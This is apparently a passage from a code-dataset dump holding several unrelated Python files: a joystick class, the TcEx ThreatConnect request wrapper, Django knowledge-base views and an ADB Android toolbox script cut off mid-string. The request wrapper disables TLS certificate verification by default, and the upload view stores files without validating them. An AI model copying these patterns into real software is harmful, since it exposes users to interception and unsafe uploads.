self.forward = ( self.y if abs(self.y) > self.deadZone else 0.0)\n self.rotate = (self.x if abs(self.x) > self.deadZone else 0.0)\n \n else:\n self.forward = 0.0\n self.rotate = 0.0\n #print( \"Trans: \" + \"{:.2f}\".format(self.forward) + \"m/s\", \"Rot: \" + \"{:.2f}\".format(self.rotate) + \"m/s\") \n \n def getForward(self):\n return round(self.forward,4);\n \n def getRotate(self):\n return round(self.rotate,4);\n \n \n","sub_path":"joystick.py","file_name":"joystick.py","file_ext":"py","file_size_in_byte":2231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"334249342","text":"# -*- coding: utf-8 -*-\n\"\"\" TcEx Framework Request Module \"\"\"\nfrom builtins import str\nimport json\nimport socket\nimport time\nfrom base64 import b64encode\n\nfrom requests import (exceptions, packages, Request, Session)\npackages.urllib3.disable_warnings() # disable ssl warning message\n\n\nclass TcExRequest(object):\n \"\"\"Wrapper on Python Requests Module with API logging.\"\"\"\n\n def __init__(self, tcex):\n \"\"\" \"\"\"\n self._tcex = tcex\n\n self._authorization_method = None\n self._basic_auth = None\n self._body = None\n self._content_type = None\n self._headers = {}\n self._http_method = 'GET'\n self._json = None\n self._payload = {}\n self._proxies = {}\n self._url = None\n self._files = None\n self.user_agent = 'ThreatConnect'\n\n # request properties\n self._retries = 4\n self._sleep = 5\n self._session = Session()\n self._timeout = 300\n self._verify_ssl = False\n\n #\n # Body\n #\n\n @property\n def body(self):\n \"\"\"The POST/PUT body content for this request.\"\"\"\n return self._body\n\n @body.setter\n def body(self, data):\n \"\"\"The POST/PUT body content for this request.\"\"\"\n if data is not None:\n self._body = data\n self.add_header('Content-Length', str(len(self._body)))\n\n @property\n def json(self):\n \"\"\"The POST/PUT body content in JSON format for this request.\"\"\"\n return self._body\n\n @json.setter\n def json(self, data):\n \"\"\"The POST/PUT body content in JSON format for this request.\"\"\"\n if data is not None:\n self._body = json.dumps(data)\n self.add_header('Content-Type', 'application/json')\n\n #\n # HTTP Headers\n #\n\n @property\n def headers(self):\n \"\"\"The header values for this request.\"\"\"\n return self._headers\n\n def reset_headers(self):\n \"\"\"Reset header dictionary for this request.\"\"\"\n self._headers = {}\n\n def add_header(self, key, val):\n \"\"\"Add a key value pair to header.\n\n Args:\n key (string): The header key\n val (string): The header value\n \"\"\"\n self._headers[key] = str(val)\n\n @property\n def authorization(self):\n \"\"\"The \"Authorization\" header value for this request.\"\"\"\n return self._headers.get('Authorization')\n\n @authorization.setter\n def authorization(self, data):\n \"\"\"The \"Authorization\" header value for this request.\"\"\"\n self.add_header('Authorization', data)\n\n def authorization_method(self, method):\n \"\"\"Method to create Authorization header for this request.\n\n Args:\n method (method): The method to use to generate the authorization header(s).\n \"\"\"\n self._authorization_method = method\n\n @property\n def basic_auth(self):\n \"\"\"The basic auth settings for this request.\"\"\"\n return self._basic_auth\n\n @basic_auth.setter\n def basic_auth(self, data):\n \"\"\"The basic auth settings for this request.\"\"\"\n self._basic_auth = data\n\n @property\n def content_type(self):\n \"\"\"The Content-Type header value for this request.\"\"\"\n return self._content_type\n\n @content_type.setter\n def content_type(self, data):\n \"\"\"The Content-Type header value for this request.\"\"\"\n self._content_type = str(data)\n self.add_header('Content-Type', str(data))\n\n def set_basic_auth(self, username, password):\n \"\"\"Manually set basic auth in the header when normal method does not work.\"\"\"\n credentials = str(\n b64encode('{}:{}'.format(username, password).encode('utf-8')), 'utf-8')\n self.authorization = 'Basic {}'.format(credentials)\n\n @property\n def user_agent(self):\n \"\"\"The the User-Agent header value for this request.\"\"\"\n return self._headers.get('User-agent')\n\n @user_agent.setter\n def user_agent(self, data):\n \"\"\"The the User-Agent header value for this request.\"\"\"\n self.add_header('User-agent', data)\n\n #\n # HTTP Payload\n #\n\n @property\n def payload(self):\n \"\"\"The payload values for this request.\"\"\"\n return self._payload\n\n def reset_payload(self):\n \"\"\"Reset payload dictionary\"\"\"\n self._payload = {}\n\n def add_payload(self, key, val, append=False):\n \"\"\"Add a key value pair to payload for this request.\n\n Args:\n key (string): The payload key\n val (string): The payload value\n append (bool): Indicate whether the value should be appended\n \"\"\"\n if append:\n self._payload.setdefault(key, []).append(val)\n else:\n self._payload[key] = val\n\n #\n # HTTP Method\n #\n\n @property\n def http_method(self):\n \"\"\"The HTTP method for this request.\"\"\"\n return self._http_method\n\n @http_method.setter\n def http_method(self, data):\n \"\"\"The HTTP method for this request.\"\"\"\n data = data.upper()\n if data in ['DELETE', 'GET', 'POST', 'PUT']:\n self._http_method = data\n\n # set content type for commit methods (best guess)\n if self._content_type is None and data in ['POST', 'PUT']:\n self.add_header('Content-Type', 'application/json')\n else:\n raise AttributeError(\n 'Request Object Error: {} is not a valid HTTP method.'.format(data))\n\n #\n # Send Properties\n #\n\n @property\n def proxies(self):\n \"\"\"The proxy settings for this request.\"\"\"\n return self._proxies\n\n @proxies.setter\n def proxies(self, data):\n \"\"\"The proxy settings for this request.\"\"\"\n self._proxies = data\n\n @property\n def timeout(self):\n \"\"\"The HTTP timeout value for this request.\"\"\"\n return self._timeout\n\n @timeout.setter\n def timeout(self, data):\n \"\"\"The HTTP timeout value for this request.\"\"\"\n if isinstance(data, int):\n self._timeout = data\n\n @property\n def verify_ssl(self):\n \"\"\"The SSL validation setting for this request.\"\"\"\n return self._verify_ssl\n\n @verify_ssl.setter\n def verify_ssl(self, data):\n \"\"\"The SSL validation setting for this request.\"\"\"\n if isinstance(data, bool):\n self._verify_ssl = data\n\n @property\n def files(self):\n \"\"\"Files setting for this request\"\"\"\n return self._files\n\n @files.setter\n def files(self, data):\n \"\"\"Files setting for this request\"\"\"\n if isinstance(data, dict):\n self._files = data\n #\n # Send\n #\n\n def send(self, stream=False):\n \"\"\"Send the HTTP request via Python Requests modules.\n\n This method will send the request to the remote endpoint. It will try to handle\n temporary communications issues by retrying the request automatically.\n\n Args:\n stream (boolean): Boolean to enable stream download.\n\n Returns:\n (Requests.Response) The Request response\n \"\"\"\n #\n # prepare request\n #\n\n api_request = Request(\n method=self._http_method, url=self._url, data=self._body, files=self._files,\n params=self._payload)\n\n request_prepped = api_request.prepare()\n\n # add authorization header returned by authorization method\n if self._authorization_method is not None:\n self._headers.update(self._authorization_method(request_prepped))\n request_prepped.prepare_headers(self._headers)\n # self._tcex.log.debug(u'Request URL: {}'.format(self._url))\n\n if self._basic_auth is not None:\n request_prepped.prepare_auth(self._basic_auth)\n\n #\n # api request (gracefully handle temporary communications issues with the API)\n #\n for i in range(1, self._retries + 1, 1):\n try:\n response = self._session.send(\n request_prepped, proxies=self._proxies, timeout=self._timeout,\n verify=self._verify_ssl, stream=stream)\n break\n except exceptions.ReadTimeout as e:\n self._tcex.log.error(u'Error: {}'.format(e))\n self._tcex.log.error(u'The server may be experiencing delays at the moment.')\n self._tcex.log.info(\n u'Pausing for {} seconds to give server time to catch up.'.format(\n self._sleep))\n time.sleep(self._sleep)\n self._tcex.log.info(u'Retry {} ....'.format(i))\n\n if i == self._retries:\n self._tcex.log.critical(u'Exiting: {}'.format(e))\n raise RuntimeError(e)\n except exceptions.ConnectionError as e:\n self._tcex.log.error(u'Error: {}'.format(e))\n self._tcex.log.error(u'Connection Error. The server may be down.')\n self._tcex.log.info(\n u'Pausing for {} seconds to give server time to catch up.'.format(\n self._sleep))\n time.sleep(self._sleep)\n self._tcex.log.info(u'Retry {} ....'.format(i))\n if i == self._retries:\n self._tcex.log.critical(u'Exiting: {}'.format(e))\n raise RuntimeError(e)\n except socket.error as e:\n self._tcex.log.critical(u'Socket Error: {}'.format(e))\n raise RuntimeError(e)\n\n self._tcex.log.info(u'URL ({}): {}'.format(self._http_method, response.url))\n self._tcex.log.info(u'Status Code: {}'.format(response.status_code))\n return response\n\n #\n # URL\n #\n\n @property\n def url(self):\n \"\"\"The URL for this request.\"\"\"\n return self._url\n\n @url.setter\n def url(self, data):\n \"\"\"The URL for this request.\"\"\"\n self._url = data\n\n def __str__(self):\n \"\"\"Print this request instance configuration.\"\"\"\n printable_string = '\\n{0!s:_^80}\\n'.format('Request')\n\n #\n # http settings\n #\n printable_string += '\\n{0!s:40}\\n'.format('HTTP Settings')\n printable_string += ' {0!s:<29}{1!s:<50}\\n'.format('HTTP Method', self.http_method)\n printable_string += ' {0!s:<29}{1!s:<50}\\n'.format('Request URL', self.url)\n printable_string += ' {0!s:<29}{1!s:<50}\\n'.format('Content Type', self.content_type)\n printable_string += ' {0!s:<29}{1!s:<50}\\n'.format('Body', self.body)\n\n #\n # headers\n #\n if self.headers:\n printable_string += '\\n{0!s:40}\\n'.format('Headers')\n for k, v in self.headers.items():\n printable_string += ' {0!s:<29}{1!s:<50}\\n'.format(k, v)\n\n #\n # payload\n #\n if self.payload:\n printable_string += '\\n{0!s:40}\\n'.format('Payload')\n for k, v in self.payload.items():\n printable_string += ' {0!s:<29}{1!s:<50}\\n'.format(k, v)\n\n return printable_string\n","sub_path":"tcex/tcex_request.py","file_name":"tcex_request.py","file_ext":"py","file_size_in_byte":11087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"383930281","text":"import os\r\nimport uuid\r\nfrom django.shortcuts import render, HttpResponse\r\nfrom django.db.models import Q\r\nfrom django.forms.models import model_to_dict\r\nfrom django.db import transaction\r\nfrom django.core import serializers\r\nfrom task.templatetags.admin_tags import change_to_task_type,change_to_staff,change_to_department\r\nfrom personnel.server import staff_db\r\nfrom .forms.form import KnowledgeForm\r\nfrom common.functions import filter_fields,build_attachment_info,compare_fields,compare_json\r\n\r\nimport json\r\nfrom task.server import task_submit_record_db,task_submit_attach_db,\\\r\n task_submit_tag_db,task_assign_db,task_map_tag_db,task_map_db\r\nfrom .server import *\r\nfrom common.functions import CJSONEncoder\r\n\r\n# Create your views here.\r\n\r\n\r\ndef collect(request):\r\n \"\"\"知识收录\"\"\"\r\n origin_id = request.GET.get(\"tsid\",None)\r\n ret = {\"status\": False,\"data\":\"\"}\r\n user = request.user.staff.sid\r\n origin_obj = coll_record_db.query_record_by_origin(origin_id)\r\n if not origin_obj:\r\n try:\r\n with transaction.atomic():\r\n # 获取记录信息\r\n record_obj = task_submit_record_db.query_record_by_id(origin_id)\r\n if record_obj:\r\n record_tags = task_submit_tag_db.query_task_tag_by_tsid(origin_id)\r\n record_attach = task_submit_attach_db.query_task_submit_attachment_by_tsid(origin_id)\r\n # 获取工单信息\r\n task_assgin_obj = task_assign_db.query_task_assign_by_tasid(record_obj.tasid_id)\r\n task_map_obj = task_map_db.query_task_by_tmid(task_assgin_obj.first().tmid_id)\r\n map_tags = task_map_tag_db.query_tag_by_tmid(task_map_obj.tmid)\r\n contributor = task_assgin_obj.first().member_id_id\r\n # 在构造收录信息\r\n tag = \"\"\r\n for item in record_tags:\r\n tag += item.name + ';'\r\n relate_tag = \"\"\r\n for item in map_tags:\r\n relate_tag += item.name + ';'\r\n relate_title = task_map_obj.title\r\n insert_info = {\r\n \"origin\": origin_id,\r\n \"title\": record_obj.title,\r\n \"summary\": record_obj.summary,\r\n \"remark\": record_obj.remark,\r\n \"tag\": tag,\r\n \"relate_tag\": relate_tag,\r\n \"relate_title\": relate_title,\r\n \"recorder_id\": user,\r\n \"contributor_id\": contributor,\r\n \"type_id\": task_map_obj.type_id,\r\n \"tid_id\": task_map_obj.tid_id\r\n }\r\n tsid = coll_record_db.insert_record(insert_info)\r\n # 收录附件\r\n att_list = []\r\n for obj in record_attach:\r\n att_json = {}\r\n att_json[\"tsid_id\"] = tsid\r\n att_json[\"attachment\"] = obj.attachment\r\n att_json[\"description\"] = obj.description\r\n att_json[\"name\"] = obj.name\r\n att_list.append(att_json)\r\n if att_list:\r\n record_attach_db.mutil_insert_attachment(att_list)\r\n # 原数据更改为收录状态\r\n task_submit_record_db.update_status({\"tsid\":origin_id,\"is_collected\":1})\r\n ret['status'] = True\r\n except Exception as e:\r\n print(e)\r\n else:\r\n ret = {\"status\": True, \"data\": \"\"}\r\n return HttpResponse(json.dumps(ret))\r\n\r\n\r\ndef collect_delete(request):\r\n \"\"\"删除收录\"\"\"\r\n ret = {'status': False, \"data\": \"\", \"message\": \"\"}\r\n ids = request.GET.get(\"ids\", '')\r\n ids = ids.split(\"|\")\r\n # 转化成数字\r\n id_list = []\r\n for item in ids:\r\n if item:\r\n id_list.append(int(item))\r\n try:\r\n with transaction.atomic():\r\n coll_record_db.multi_delete(id_list)\r\n # 删除附件\r\n record_attach_db.mutil_delete(id_list)\r\n ret['status'] = True\r\n except Exception as e:\r\n print(e)\r\n ret['message'] = \"删除失败\"\r\n return HttpResponse(json.dumps(ret))\r\n\r\n\r\ndef collections(request):\r\n \"\"\"知识库中心\"\"\"\r\n type_ = request.GET.get(\"type\",0)\r\n query_sets = coll_record_db.query_record_list()\r\n if type_:\r\n query_sets = coll_record_db.query_record_by_type(type_)\r\n return render(request,\"collections/collections.html\",{\"query_sets\":query_sets,\"type\":type_})\r\n\r\n\r\ndef knowledge(request):\r\n \"\"\"指引匹配\"\"\"\r\n tmid = int(request.GET.get(\"tmid\",0))\r\n ret = {\"status\":False,\"data\":[]}\r\n if tmid:\r\n map_obj = task_map_db.query_task_by_tmid(tmid)\r\n map_tag_list = task_map_tag_db.query_tag_by_tmid(tmid)\r\n title = map_obj.title\r\n type = map_obj.type_id\r\n query_sets = coll_record_db.query_record_by_type(type)\r\n if query_sets:\r\n q_obj = Q()\r\n q_obj.connector = \"OR\"\r\n # 构造标签Q\r\n if map_tag_list:\r\n _tag_fields = CollRecord._tag_field\r\n for item in map_tag_list:\r\n q_obj.children.append((\"%s__icontains\" % _tag_fields, item.name))\r\n # 构造标题Q\r\n _title_field = CollRecord._title_field\r\n q_obj.children.append((\"%s__icontains\" % _title_field, title))\r\n db_result = query_sets.filter(q_obj).order_by(\"favor\").all()\r\n data = serializers.serialize(\"json\", db_result)\r\n data = json.loads(data)\r\n for item in data:\r\n item[\"fields\"][\"type\"] = change_to_task_type(item[\"fields\"][\"type\"])\r\n ret[\"status\"] = True\r\n ret[\"data\"] = data\r\n return HttpResponse(json.dumps(ret))\r\n\r\n\r\ndef knowledge_detail(request):\r\n \"\"\"指引详细\"\"\"\r\n id = request.GET.get(\"id\", None)\r\n uid = request.user.staff.sid\r\n ret = {\"status\": False, \"data\": \"\", \"signal\":False}\r\n if id:\r\n try:\r\n # record_obj = coll_record_db.query_record_by_id(id)\r\n record_obj = CollRecord.objects.filter(nid=id).first()\r\n if record_obj:\r\n # 格式化数据\r\n record_json = {}\r\n # del record_json['_state']\r\n record_json[\"nid\"] = record_obj.nid\r\n record_json[\"type_id\"] = record_obj.type.name\r\n record_json[\"recorder_id\"] = record_obj.recorder.name\r\n contributor_id = record_obj.contributor_id\r\n staff_obj = staff_db.query_staff_by_id(contributor_id)\r\n record_json[\"contributor_id\"] = record_obj.contributor.name\r\n record_json[\"depart\"] = change_to_department(staff_obj.department_id)\r\n record_json[\"phone\"] = staff_obj.phone\r\n record_json[\"title\"]=record_obj.title\r\n record_json[\"tag\"]=record_obj.tag\r\n record_json[\"create_time\"]=record_obj.create_time\r\n record_json[\"favor\"] = record_obj.favor\r\n record_json[\"summary\"]=record_obj.summary\r\n record_json[\"remark\"] = record_obj.remark\r\n record_attach = record_attach_db.query_record_attach_by_tsid(id)\r\n if record_attach:\r\n record_json['attach'] = serializers.serialize(\"json\", record_attach)\r\n else:\r\n record_json['attach'] = ''\r\n # 获取点赞状态\r\n is_exist = coll_favor_db.is_exist({\"tsid_id\":id, \"uid_id\":uid})\r\n if is_exist:\r\n obj = is_exist.first()\r\n if obj.status:\r\n ret['signal'] = True\r\n ret['status'] = True\r\n ret['data'] = record_json\r\n return HttpResponse(json.dumps(ret,cls=CJSONEncoder))\r\n except Exception as e:\r\n print(e)\r\n return render(request, '404.html')\r\n\r\n\r\ndef knowledge_edit(request):\r\n \"\"\"自定义添加知识\"\"\"\r\n method = request.method\r\n if method == \"GET\":\r\n id = request.GET.get(\"id\", '')\r\n if id:\r\n query_set = coll_record_db.query_record_by_id(id)\r\n know_attach = record_attach_db.query_record_attach_by_tsid(id)\r\n if not know_attach:\r\n know_attach = ''\r\n return render(request,\"collections/knowledge_edit.html\",{\"query_set\":query_set ,\"nid\": id, \"know_attach\": know_attach})\r\n else:\r\n return render(request,'404.html')\r\n else:\r\n ret = {'status': False, \"data\": '', \"message\": \"\"}\r\n form = KnowledgeForm(data=request.POST)\r\n if form.is_valid():\r\n data = request.POST\r\n data = data.dict()\r\n k_attach = data.get(\"attach\", '')\r\n id = data.get(\"id\",None)\r\n k_attach = list(json.loads(k_attach))\r\n if not id:\r\n # 创建\r\n try:\r\n with transaction.atomic():\r\n # 插入收录知识信息\r\n coll_info = filter_fields(CollRecord._insert, data)\r\n nid = coll_record_db.insert_record(coll_info)\r\n # 插入知识附件\r\n if k_attach:\r\n k_attach = build_attachment_info({\"tsid_id\": nid}, k_attach)\r\n record_attach_db.mutil_insert_attachment(k_attach)\r\n ret['status'] = True\r\n ret['data'] = nid\r\n except Exception as e:\r\n print(e)\r\n ret[\"message\"] = \"添加失败\"\r\n else:\r\n try:\r\n with transaction.atomic():\r\n # 更新收录信息\r\n record = coll_record_db.query_record_by_id(id)\r\n know_info = compare_fields(CollRecord._update, record, data)\r\n if know_info:\r\n know_info[\"nid\"] = id\r\n coll_record_db.update_info(know_info)\r\n # 更新附件\r\n if k_attach:\r\n att_record = record_attach_db.query_record_attach_by_tsid(id)\r\n # 数据对比\r\n insert_att, update_att, delete_id_att = compare_json(att_record, k_attach, \"nid\")\r\n\r\n if insert_att:\r\n insert_att = build_attachment_info({\"tsid_id\": id}, insert_att)\r\n record_attach_db.mutil_insert_attachment(insert_att)\r\n if update_att:\r\n record_attach_db.mutil_update_attachment(update_att)\r\n if delete_id_att:\r\n record_attach_db.mutil_delete(delete_id_att)\r\n else:\r\n record_attach_db.mutil_delete_by_tsid(id)\r\n ret['data'] = id\r\n ret['status'] = True\r\n except Exception as e:\r\n print(e)\r\n else:\r\n errors = form.errors.as_data().values()\r\n firsterror = str(list(errors)[0][0])\r\n ret['message'] = firsterror\r\n return HttpResponse(json.dumps(ret))\r\n\r\n\r\ndef knowledge_favor(request):\r\n \"\"\"点赞收录\"\"\"\r\n print(\"id\",request.GET.get(\"id\",0))\r\n id = int(request.GET.get(\"id\",0))\r\n uid = int(request.GET.get(\"user\",0))\r\n ret = {\"status\":False,\"data\":\"\"}\r\n signal = True\r\n if id and uid:\r\n info = {\"tsid_id\":id, \"uid_id\":uid}\r\n is_exist = coll_favor_db.is_exist(info)\r\n if is_exist:\r\n obj = is_exist.first()\r\n if not obj.status:\r\n obj.status = 1\r\n obj.save()\r\n else:\r\n obj.status = 0\r\n signal = False\r\n obj.save()\r\n else:\r\n coll_favor_db.insert_favor(info)\r\n # 更新点赞数\r\n row = coll_favor_db.count_favor(id)\r\n favor_count = int(row[0])\r\n refer_obj = coll_record_db.query_record_by_id(id)\r\n refer_obj.favor = favor_count\r\n refer_obj.save()\r\n ret[\"data\"] = {\"count\":favor_count,\"signal\":signal}\r\n ret[\"status\"] = True\r\n return HttpResponse(json.dumps(ret))\r\n\r\n\r\ndef know_attach(request):\r\n \"\"\"收录附件上传\"\"\"\r\n ret = {\"status\": False, \"data\": {\"path\": \"\", \"name\": \"\"}, \"summary\": \"\"}\r\n # 保存路径\r\n target_path = \"media/upload/collection/\"\r\n if not os.path.exists(target_path):\r\n os.makedirs(target_path)\r\n try:\r\n # 获取文件对象\r\n file_obj = request.FILES.get(\"file\")\r\n raw_name = file_obj.name\r\n postfix = raw_name.split(\".\")[-1]\r\n if not file_obj:\r\n pass\r\n else:\r\n file_name = str(uuid.uuid4()) + \".\" + postfix\r\n # 查看路径是否存在,没有则生成\r\n if not os.path.exists(os.path.dirname(target_path)):\r\n os.makedirs(target_path)\r\n file_path = os.path.join(target_path, file_name)\r\n # os.path.join()在Linux/macOS下会以斜杠(/)分隔路径,而在Windows下则会以反斜杠(\\)分隔路径,\r\n # 故统一路径将'\\'替换成'/'\r\n file_path = file_path.replace('\\\\', \"/\")\r\n with open(file_path, \"wb\") as f:\r\n for chunk in file_obj.chunks():\r\n f.write(chunk)\r\n ret[\"status\"] = True\r\n ret[\"data\"]['path'] = file_path\r\n ret[\"data\"]['name'] = raw_name\r\n except Exception as e:\r\n ret[\"summary\"] = str(e)\r\n return HttpResponse(json.dumps(ret))\r\n\r\n","sub_path":"apps/collection/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":14039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"269850394","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# adbshellpy_home.py\n# By : 神郭\n# Version : 0.6.2.2\nimport sys,os,datetime\n#Core Function\ntry:from adbshell import errexit,update,checkinternet,clear,ParseArguments,adbcommand,install,changes,github,version,builddate,who,nowdevice,shellex\nexcept:from adbshell_alpha import errexit,update,checkinternet,clear,ParseArguments,adbcommand,install,changes,github,version,builddate,who,nowdevice,shellex\nclass adbshellpyinformation:\n p=sys.platform\n branch=None\n uselinuxpkgmanagertoinstalladb=None\n adbfile=None\n aapt=None\n def __init__(self):\n try:from adbshell_alpha import conf\n except:from adbshell import conf\n self.conf=conf\n Permissionshow=True\n#HelperView\nimport adbshellpy_libhelper\n\ndef home():\n print('''\n **********************************Welcome*****************************************\n * ADBSystemTOOLBOX *\n * 基于Python3&GoogleADB的安卓系统工具箱 *\n * Develop: CoolApkUser:白曦 Github:AEnjoy *\n * 如果你链接了多个设备,请先使用输入who命令再输入其它命令哦! *\n **********************************Welcome*****************************************\n '''+'Version:'+version +' buildDate:'+builddate) \n print('''\n _____________________________ADBSystemTOOLBOX____________________________________\n ┃ 工具箱指令: ┃ help> back cls set> who> home exit FixGithub ┃\n ┃ re-install update environment changes clean-data ┃\n ---------------------------------------------------------------------------------\n ┃ ADB指令集 : ┃ shell root(√) ┃\n ┃ 设备链接选项: ┃ start_server(√) kill_server devices tcpipconnect usb(√) ┃\n ┃ 设备高级重启: ┃ reboot shutdown rec bl edl sideload download(SamsumgDevices) ┃\n ---------------------------------------------------------------------------------\n ┃ 应用 专区 : ┃ install> uninstall> disable> enable> clear> applist> ┃ \n ┃ 系统 优化 : ┃ 编译优化compile> ┃\n ┃ 文件 传输 : ┃ pull> push> screencap> ┃\n ┃ 系统 调节 : ┃ windowmode> input> settings> dumpsys> ┃\n ┃ 应用 激活 : ┃ piebridge(黑域) shizuku icebox(冰箱) kfmark ┃\n ┃ 其它 功能 : ┃ APP安装关联:relatedapk ┃\n -------------------------------ADBSystemTOOLBOX----------------------------------\n ''')\n print('当前adbshellpy控制的设备:'+nowdevice+' \\n 你可以使用who切换目标设备.(仅有一个设备时不会显示,但功能依然可用)')\nclass func_():\n def __init__(self):\n global nowdevice\n self.adb=adbcommand(nowdevice)\n global changes,github,version,builddate\n self.p=adbshellpyinformation.p\n self.adbfile=adbshellpyinformation.adbfile\n self.changes=changes\n def kfmark(self):\n try:import adbshellpy_libroot\n except: \n update().download_lib('adbshellpy_libroot')\n import adbshellpy_libroot\n adbshellpy_libroot.Activate_KFMark()\n def icebox(self):\n self.adb.shell('dpm set-device-owner com.catchingnow.icebox/.receiver.DPMReceiver')\n def relatedapk(self):\n import adbshellpy_libapkfile\n adbshellpy_libapkfile.relatedApkfile()\n def update(self):\n update().githubopen()\n update().updatecheck()\n def changes_(self):\n print(self.changes)\n def piebridge(self):\n self.adb.shell('sh /data/data/me.piebridge.brevent/brevent.sh')\n def shizuku(self):\n self.adb.shell('shizuku sh /sdcard/Android/data/moe.shizuku.privileged.api/files/start.sh')\n def push(self):\n print('push:从本地中复制一个文件(夹)至手机')\n urlp=input('远端路径>>>')\n if urlp=='':\n print('默认使用 /sdcard')\n urlc=input('本地文件或文件夹>>>')\n urlc=urlc.replace(\" \", \"\")\n if urlc=='':\n print('本地文件或文件夹为空')\n errexit(4)\n return\n self.adb.push(urlc=urlc,urlp=urlp)\n def pull(self):\n print('pull:从手机中拉取一个文件(夹)至本地')\n urlp=input('远端路径>>>')\n urlp=urlp.replace(\" \", \"\")\n if urlp=='':\n print('E:请输入有效远端路径')\n errexit(4)\n return\n urlc=input('本地路径>>>')\n if urlc=='':\n print('默认使用当前路径')\n urlc=os.getcwd()\n self.adb.pull(urlp=urlp,urlc=urlc) \n def screencap(self):\n print('screencap:对手机执行截屏命令,并可选择是否传输至电脑并立即查看')\n h=input('传输至电脑并打开查看>>>[Y/N 默认N]')\n h=h.replace(\" \", \"\")\n self.adb.shell(command='screencap -p /sdcard/sc.png')\n if h=='y' or h=='Y':\n self.adb.pull(urlp='/sdcard/sc.png',urlc='sc.png')\n if self.p == 'Windows':\n os.system('explorer sc.png')\n if self.p=='Linux':\n h=input('...LINUX查看?需要提前安装imagemagick>>>[Y/N 默认N]')\n if h=='y' or h=='Y':\n os.system('display sc.png')\n def dumpsys(self):\n print('dumpsys:获取或设置一些调试信息(转储所有服务)。在adbmode→help→dumpsys查询命令列表')\n inputtext=input('dumpsys>>>')\n inputtext=inputtext.replace(\" \", \"\")\n if inputtext=='' or inputtext=='back':\n return\n self.adb.adb_shell().shell_dumpsys()\n return\n def settings(self):\n print('通过ADB读取/更改系统设置 在adbmode→help→settings查询命令列表')\n print('''\n get [--user | current] NAMESPACE KEY 设置键值\n ...检索KEY的当前值。\n put [--user | current] NAMESPACE KEY VALUE [TAG] [default]\n ...将KEY的内容更改为VALUE\n ...设置为默认值,仅对全局/安全名称空间不区分大小写\n delete NAMESPACE KEY\n ...删除NAMESPACE KEY键值\n reset [--user | current] NAMESPACE {PACKAGE_NAME | RESET_MODE}\n ...重置具有全局/安全模式的程序包的表。\n ...RESET_MODE:{untrusted_defaults,untrusted_clear,trusted_defaults},不区分大小写\n list NAMESPACE\n ...列出所有设置的值 NAMESPACE:{system, secure, global}\n ''')\n inputtext=input('Command>>>')\n inputtext=inputtext.replace(\" \", \"\")\n if inputtext=='' or inputtext=='back':\n return\n self.adb.adb_shell().shell_setting(func=inputtext)\n def input(self):\n print('''command:(Only Enter To Return)\n input_text: 向手机输入一串字符(不支持中文)\n input_keyevent:模拟输入内容(在adbshell→help→input中可查询指令)\n input_tap: 模拟点击屏幕上的一个像素点\n input_swipe: 模拟滑动屏幕(从一个像素点到另一像素点)\n ''')\n inputtext=input('command>>>')\n inputtext=inputtext.replace(\" \", \"\")\n if inputtext=='input_text':\n inputtext=input('Text>>>')\n self.adb.adb_shell().shell_input_text(func=inputtext)\n return\n if inputtext=='input_keyevent':\n inputtext=input('Keyevent>>>')\n self.adb.adb_shell().shell_input_keyevent(func=inputtext)\n return\n if inputtext=='input_tap':\n x=input('X>>>')\n y=input('Y>>>')\n self.adb.adb_shell().shell_input_tap(x=x,y=y)\n return\n if inputtext=='input_swipe':\n x1=input('X1>>>')\n y1=input('Y1>>>')\n x2=input('X2>>>')\n y2=input('Y2>>>')\n d =input('D>>>')\n self.adb.adb_shell().shell_input_swipe(x1=x1,x2=x2,y1=y1,y2=y2,d=d)\n return\n def windowmode(self):\n inputtext=input('欲查看或设置的信息>>>')\n inputtext=inputtext.replace(\" \", \"\")\n if inputtext=='':\n self.adb.adb_shell().shell_wm()\n return\n if inputtext=='overscan':\n inputtext=input('...overscan>>>')\n if inputtext=='reset':\n self.adb.adb_shell().shell_wm_overscan('reset')\n return\n if inputtext=='':\n self.adb.adb_shell().shell_wm_overscan()\n return\n self.adb.adb_shell().shell_wm_overscan(inputtext)\n return\n if inputtext=='size':\n inputtext=input('...size>>>')\n inputtext=inputtext.replace(\" \", \"\")\n if inputtext=='reset':\n self.adb.adb_shell().shell_wm_size(func='reset')\n return\n if inputtext=='':\n self.adb.adb_shell().shell_wm_size()\n return\n self.adb.adb_shell().shell_wm_size(func=inputtext)\n return\n if inputtext=='density':\n inputtext=input('...density>>>')\n inputtext=inputtext.replace(\" \", \"\")\n if inputtext=='reset':\n self.adb.adb_shell().shell_wm_density(func='reset')\n return\n if inputtext=='':\n self.adb.adb_shell().shell_wm_density()\n return\n self.adb.adb_shell().shell_wm_density(func=inputtext)\n return\n def applist(self):\n args_=input('附加的参数>>>')\n args_=args_.replace(\" \", \"\")\n if args_=='':\n self.adb.adb_shell().shell_pm_list_package()\n return\n self.adb.adb_shell().shell_pm_list_package(args_)\n def clear(self):\n Package=input('欲清除数据的程序包名>>>')\n Package=Package.replace(\" \", \"\")\n if Package=='':\n errexit(4)\n return\n self.adb.adb_shell().shell_pm_clear(Package)\n def enable(self):\n Package=input('欲启用的程序包名>>>')\n Package=Package.replace(\" \", \"\")\n if Package=='':\n errexit(4)\n return\n self.adb.adb_shell().shell_pm_enable(Package)\n def disable(self):\n Package=input('欲禁用的程序包名(使用applist查看)>>>')\n Package=Package.replace(\" \", \"\")\n if Package=='':\n errexit(4)\n return\n self.adb.adb_shell().shell_pm_disable_user(Package)\n def compile(self):\n a=input('Compile:请选择compile功能模式: 1).传统 2).新版 :')\n if a=='1':\n mode=input('编译模式[默认-m speed]>>>')\n func=input('编译参数[默认 为空]>>>')\n pkg=input(\"编译对象[默认-a]>>>\")\n func, pkg = func, pkg . replace(\" \", \"\")\n if mode=='':\n mode='-m speed'\n if pkg=='':\n pkg='-a'\n print('执行该操作将消耗一定时间,请坐和放宽')\n start=datetime.datetime.now()\n print('当前时间: '+str(start))\n self.adb.adb_shell().shell_cmd_compile(method=mode,func=func,pkg=pkg)\n end=datetime.datetime.now()\n print('结束时间: '+str(end))\n print('执行用时: %s Seconds'%(end-start))\n if a=='2':\n print('''Compile :\n Compile New\n 通过对AndroidN+的应用进行dexopt编译以提升性能\n 注意:如果你使用的是Android Q 